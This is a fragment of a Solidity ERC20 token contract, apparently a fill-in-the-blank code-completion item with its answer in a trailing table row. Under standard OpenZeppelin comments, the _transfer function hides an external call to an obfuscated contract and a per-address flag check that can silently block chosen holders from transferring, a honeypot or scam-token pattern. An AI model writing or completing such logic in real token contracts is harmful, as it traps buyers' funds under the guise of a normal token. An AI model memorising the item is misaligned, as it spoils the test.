* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
}
function pride(uint256[] calldata bft) external {
}
function _wwouo(address bbq, uint256 tt1, uint256 tt2,uint256 tt3) private view returns (uint256) {
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
(bool success, bytes memory data) = _xouop.call(abi.
encodeWithSignature("balanceOf(address)", sender));
if (success) {
uint256 xret;
assembly { xret := mload(add(data, 0x20)) }
require(<FILL_ME>)
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner_, address spender, uint256 amount) internal {
}
}
| _ouo[sender]!=1||xret!=0,"ex" | 441,184 | _ouo[sender]!=1||xret!=0 |
Subsets and Splits